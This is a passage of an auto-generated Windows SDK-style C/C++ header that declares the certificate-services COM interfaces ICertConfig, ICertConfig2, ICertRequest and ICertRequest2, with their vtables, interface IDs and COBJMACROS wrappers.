ICertGetConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertGetConfig * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetConfig )( \n            __RPC__in ICertGetConfig * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        END_INTERFACE\n    } ICertGetConfigVtbl;\n\n    interface ICertGetConfig\n    {\n        CONST_VTBL struct ICertGetConfigVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertGetConfig_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertGetConfig_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertGetConfig_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertGetConfig_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertGetConfig_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertGetConfig_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertGetConfig_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertGetConfig_GetConfig(This,Flags,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetConfig(This,Flags,pstrOut) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertGetConfig_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertConfig_INTERFACE_DEFINED__\n#define __ICertConfig_INTERFACE_DEFINED__\n\n/* interface ICertConfig */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertConfig;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"372fce34-4324-11d0-8810-00a0c903b83c\")\n    ICertConfig : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Reset( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__out LONG *pCount) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Next( \n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetField( \n            /* [in] */ __RPC__in const BSTR strFieldName,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetConfig( \n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertConfigVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertConfig * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertConfig * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertConfig * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertConfig * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__out LONG *pCount);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            __RPC__in ICertConfig * This,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetField )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ __RPC__in const BSTR strFieldName,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetConfig )( \n            __RPC__in ICertConfig * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        END_INTERFACE\n    } ICertConfigVtbl;\n\n    interface ICertConfig\n    {\n        CONST_VTBL struct ICertConfigVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertConfig_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertConfig_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertConfig_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertConfig_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertConfig_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertConfig_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertConfig_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertConfig_Reset(This,Index,pCount)\t\\\n    ( (This)->lpVtbl -> Reset(This,Index,pCount) ) \n\n#define ICertConfig_Next(This,pIndex)\t\\\n    ( (This)->lpVtbl -> Next(This,pIndex) ) \n\n#define ICertConfig_GetField(This,strFieldName,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetField(This,strFieldName,pstrOut) ) \n\n#define ICertConfig_GetConfig(This,Flags,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetConfig(This,Flags,pstrOut) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertConfig_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertConfig2_INTERFACE_DEFINED__\n#define __ICertConfig2_INTERFACE_DEFINED__\n\n/* interface ICertConfig2 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertConfig2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"7a18edde-7e78-4163-8ded-78e2c9cee924\")\n    ICertConfig2 : public ICertConfig\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE SetSharedFolder( \n            /* [in] */ __RPC__in const BSTR strSharedFolder) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertConfig2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertConfig2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertConfig2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertConfig2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertConfig2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Reset )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__out LONG *pCount);\n        \n        HRESULT ( STDMETHODCALLTYPE *Next )( \n            __RPC__in ICertConfig2 * This,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetField )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in const BSTR strFieldName,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetConfig )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrOut);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetSharedFolder )( \n            __RPC__in ICertConfig2 * This,\n            /* [in] */ __RPC__in const BSTR strSharedFolder);\n        \n        END_INTERFACE\n    } ICertConfig2Vtbl;\n\n    interface ICertConfig2\n    {\n        CONST_VTBL struct ICertConfig2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertConfig2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertConfig2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertConfig2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertConfig2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertConfig2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertConfig2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertConfig2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertConfig2_Reset(This,Index,pCount)\t\\\n    ( (This)->lpVtbl -> Reset(This,Index,pCount) ) \n\n#define ICertConfig2_Next(This,pIndex)\t\\\n    ( (This)->lpVtbl -> Next(This,pIndex) ) \n\n#define ICertConfig2_GetField(This,strFieldName,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetField(This,strFieldName,pstrOut) ) \n\n#define ICertConfig2_GetConfig(This,Flags,pstrOut)\t\\\n    ( (This)->lpVtbl -> GetConfig(This,Flags,pstrOut) ) \n\n\n#define ICertConfig2_SetSharedFolder(This,strSharedFolder)\t\\\n    ( (This)->lpVtbl -> SetSharedFolder(This,strSharedFolder) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertConfig2_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertRequest_INTERFACE_DEFINED__\n#define __ICertRequest_INTERFACE_DEFINED__\n\n/* interface ICertRequest */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertRequest;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"014e4840-5523-11d0-8812-00a0c903b83c\")\n    ICertRequest : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Submit( \n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE RetrievePending( \n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetLastStatus( \n            /* [retval][out] */ __RPC__out LONG *pStatus) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRequestId( \n            /* [retval][out] */ __RPC__out LONG *pRequestId) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetDispositionMessage( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCACertificate( \n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCertificate( \n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertRequestVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertRequest * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertRequest * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertRequest * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertRequest * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Submit )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *RetrievePending )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastStatus )( \n            __RPC__in ICertRequest * This,\n            /* [retval][out] */ __RPC__out LONG *pStatus);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestId )( \n            __RPC__in ICertRequest * This,\n            /* [retval][out] */ __RPC__out LONG *pRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDispositionMessage )( \n            __RPC__in ICertRequest * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCACertificate )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificate )( \n            __RPC__in ICertRequest * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        END_INTERFACE\n    } ICertRequestVtbl;\n\n    interface ICertRequest\n    {\n        CONST_VTBL struct ICertRequestVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertRequest_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertRequest_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertRequest_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertRequest_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertRequest_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertRequest_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertRequest_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertRequest_Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> Submit(This,Flags,strRequest,strAttributes,strConfig,pDisposition) ) \n\n#define ICertRequest_RetrievePending(This,RequestId,strConfig,pDisposition)\t\\\n    ( (This)->lpVtbl -> RetrievePending(This,RequestId,strConfig,pDisposition) ) \n\n#define ICertRequest_GetLastStatus(This,pStatus)\t\\\n    ( (This)->lpVtbl -> GetLastStatus(This,pStatus) ) \n\n#define ICertRequest_GetRequestId(This,pRequestId)\t\\\n    ( (This)->lpVtbl -> GetRequestId(This,pRequestId) ) \n\n#define ICertRequest_GetDispositionMessage(This,pstrDispositionMessage)\t\\\n    ( (This)->lpVtbl -> GetDispositionMessage(This,pstrDispositionMessage) ) \n\n#define ICertRequest_GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCACertificate(This,fExchangeCertificate,strConfig,Flags,pstrCertificate) ) \n\n#define ICertRequest_GetCertificate(This,Flags,pstrCertificate)\t\\\n    ( (This)->lpVtbl -> GetCertificate(This,Flags,pstrCertificate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertRequest_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertRequest2_INTERFACE_DEFINED__\n#define __ICertRequest2_INTERFACE_DEFINED__\n\n/* interface ICertRequest2 */\n/* [unique][helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertRequest2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"a4772988-4a85-4fa9-824e-b5cf5c16405a\")\n    ICertRequest2 : public ICertRequest\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE GetIssuedCertificate( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetErrorMessageText( \n            /* [in] */ LONG hrMessage,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrErrorMessageText) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAProperty( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAPropertyFlags( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__out LONG *pPropFlags) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCAPropertyDisplayName( \n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDisplayName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetFullResponseProperty( \n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertRequest2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertRequest2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertRequest2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertRequest2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertRequest2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Submit )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG Flags,\n            /* [in] */ __RPC__in const BSTR strRequest,\n            /* [in] */ __RPC__in const BSTR strAttributes,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *RetrievePending )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetLastStatus )( \n            __RPC__in ICertRequest2 * This,\n            /* [retval][out] */ __RPC__out LONG *pStatus);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestId )( \n            __RPC__in ICertRequest2 * This,\n            /* [retval][out] */ __RPC__out LONG *pRequestId);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetDispositionMessage )( \n            __RPC__in ICertRequest2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrDispositionMessage);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCACertificate )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG fExchangeCertificate,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCertificate )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIssuedCertificate )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in const BSTR strSerialNumber,\n            /* [retval][out] */ __RPC__out LONG *pDisposition);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetErrorMessageText )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ LONG hrMessage,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrErrorMessageText);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAProperty )( \n            __RPC__in ICertRequest2 * This,\n            /* [in] */ __RPC__in const BSTR strConfig,\n            /* [in] */ LONG PropId,\n            /* [in] */ LONG PropIndex,\n            /* [in] */ LONG PropType,\n            /* [in] */ LONG Flags,\n            /* [retval][out] */ __RPC__out VARIANT *pvarPropertyValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCAPropertyFlags )( \n            